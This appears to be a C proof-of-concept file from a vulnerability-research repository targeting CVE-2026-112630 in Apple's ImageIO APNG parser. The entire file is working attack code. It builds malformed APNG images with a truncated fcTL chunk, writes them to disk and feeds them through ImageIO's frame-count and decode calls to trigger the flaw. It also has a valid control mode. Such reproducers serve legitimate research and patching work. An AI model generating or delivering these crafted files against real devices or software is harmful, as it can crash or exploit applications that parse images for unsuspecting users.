Files
cinder27/CVE-2026-112630/CVE-2026-112630.c
T
JBJF 7949c7ce9f v2.0 — 31 C POC twins + harness fixes
- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.
2026-10-29 20:08:55 +08:00

186 lines
7.1 KiB
C

// iio.apng.fctl · ImageIO · IIO_Reader_PNG::getImageCount · CVE-2026-112630
// APNG fcTL chunk truncated mid-header
// C twin of the Swift POC: builds the truncated-fcTL APNG and reads its frame count + decode.
// Build: clang -O2 -o cve-2026-112630 CVE-2026-112630.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112630 [mode] (0 = declared-26/truncated-4, 1 = file ends inside fcTL, 2 = valid control)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
static void be32(buf *b, uint32_t v) {
bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff);
}
// ── png pieces (from Cinder27 Sources: PNGPayload) ──
static uint32_t crc32(const uint8_t *p, size_t n) {
static uint32_t table[256];
static int built;
if (!built) {
for (int i = 0; i < 256; i++) {
uint32_t c = (uint32_t)i;
for (int k = 0; k < 8; k++) c = (c & 1) ? (0xEDB88320 ^ (c >> 1)) : (c >> 1);
table[i] = c;
}
built = 1;
}
uint32_t crc = 0xFFFFFFFF;
for (size_t i = 0; i < n; i++) crc = table[(crc ^ p[i]) & 0xFF] ^ (crc >> 8);
return crc ^ 0xFFFFFFFF;
}
// zlib stored-block wrapper around `input`
static void zlib_store(buf *out, const uint8_t *input, size_t in_n) {
bput(out, 0x78); bput(out, 0x01);
size_t off = 0;
if (in_n == 0) { bcat(out, "\x01\x00\x00\xff\xff", 5); }
while (off < in_n) {
size_t take = in_n - off < 65535 ? in_n - off : 65535;
bput(out, off + take >= in_n ? 0x01 : 0x00);
bput(out, take & 0xff); bput(out, (take >> 8) & 0xff);
uint16_t ntake = (uint16_t)~take;
bput(out, ntake & 0xff); bput(out, (ntake >> 8) & 0xff);
bcat(out, input + off, take);
off += take;
}
uint32_t a = 1, b = 0;
for (size_t i = 0; i < in_n; i++) { a = (a + input[i]) % 65521; b = (b + a) % 65521; }
be32(out, (b << 16) | a);
}
static void png_chunk(buf *out, const char *type, const uint8_t *data, size_t n, int declared_len, size_t truncate_to) {
size_t body_n = truncate_to < n ? truncate_to : n;
uint32_t len = declared_len >= 0 ? (uint32_t)declared_len : (uint32_t)n;
be32(out, len);
bcat(out, type, 4);
bcat(out, data, body_n);
uint8_t crc_input[512];
size_t ci = 0;
memcpy(crc_input, type, 4); ci = 4;
memcpy(crc_input + ci, data, body_n); ci += body_n;
be32(out, crc32(crc_input, ci));
}
// ── seed construction (from Cinder27 Sources: PNGPayload.apngTruncatedFCTL) ──
static buf apng_truncated_fctl(int mode) {
buf out = {0};
bcat(&out, "\x89\x50\x4e\x47\x0d\x0a\x1a\x0a", 8);
// IHDR: 4x4, 8-bit RGBA
uint8_t ihdr[13];
be32(&(buf){0}, 0); // placeholder, built manually below
{
uint8_t *p = ihdr;
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4; // width
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4; // height
*p++ = 8; *p++ = 6; *p++ = 0; *p++ = 0; *p++ = 0;
}
png_chunk(&out, "IHDR", ihdr, 13, -1, SIZE_MAX);
// acTL: 2 frames, 0 plays
uint8_t actl[8];
{
uint8_t *p = actl;
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 2;
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0;
}
png_chunk(&out, "acTL", actl, 8, -1, SIZE_MAX);
// fcTL body: seq 0, w 4, h 4, x 0, y 0, delay 1/10, dispose 0, blend 0
uint8_t fctl[26];
{
uint8_t *p = fctl;
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0;
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4;
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 4;
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0;
*p++ = 0; *p++ = 0; *p++ = 0; *p++ = 0;
*p++ = 0; *p++ = 1; // delay num
*p++ = 0; *p++ = 10; // delay den
*p++ = 0; *p++ = 0; // dispose op / blend op
}
// a real 4x4 RGBA frame
uint8_t raw_rows[4 * 17];
{
uint8_t *p = raw_rows;
for (int r = 0; r < 4; r++) {
*p++ = 0; // filter byte
for (int c = 0; c < 16; c++) *p++ = 0x80;
}
}
buf idat = {0};
zlib_store(&idat, raw_rows, sizeof raw_rows);
if (mode == 2) {
// control: a fully valid first fcTL
png_chunk(&out, "fcTL", fctl, 26, -1, SIZE_MAX);
png_chunk(&out, "IDAT", idat.d, idat.n, -1, SIZE_MAX);
png_chunk(&out, "IEND", NULL, 0, -1, SIZE_MAX);
} else if (mode == 0) {
// header claims 26 bytes, only 4 present
png_chunk(&out, "fcTL", fctl, 26, 26, 4);
png_chunk(&out, "IDAT", idat.d, idat.n, -1, SIZE_MAX);
png_chunk(&out, "IEND", NULL, 0, -1, SIZE_MAX);
} else {
// file ends inside the fcTL: header + 4 data bytes, no CRC, no IEND
be32(&out, 26);
bcat(&out, "fcTL", 4);
bcat(&out, fctl, 4);
}
bfree(&idat);
return out;
}
// ── trigger: frame count + decode through ImageIO ──
#include <ImageIO/ImageIO.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
static int decode_image(const buf *img, const char **detail) {
CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
CFRelease(cf);
if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
// getImageCount is the call that walks fcTL on the vulnerable build
size_t frames = CGImageSourceGetCount(src);
CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
static char r[256];
if (cg) {
snprintf(r, sizeof r, "decoded %zu x %zu, frame count %zu",
(size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
CGImageRelease(cg);
} else {
snprintf(r, sizeof r, "decode refused at index 0, frame count %zu", frames);
}
CFRelease(src);
*detail = r;
return cg ? 0 : -1;
}
int main(int argc, char **argv) {
int mode = argc > 1 ? atoi(argv[1]) : 0;
buf png = apng_truncated_fctl(mode);
const char *names[3] = {"apng_trunc_fctl.png", "apng_ends_inside_fctl.png", "apng_valid_fctl.png"};
FILE *f = fopen(names[mode == 0 ? 0 : mode == 1 ? 1 : 2], "wb");
if (f) { fwrite(png.d, 1, png.n, f); fclose(f); }
const char *detail = NULL;
int rc = decode_image(&png, &detail);
printf("CVE-2026-112630 · fcTL mode %d (0 = 26B declared / 4B present) · %s\n", mode, detail ? detail : "?");
printf("seed: %s (%zu B) · exit code %d\n", names[mode == 0 ? 0 : mode == 1 ? 1 : 2], png.n, rc);
bfree(&png);
return rc == 0 ? 0 : 1;
}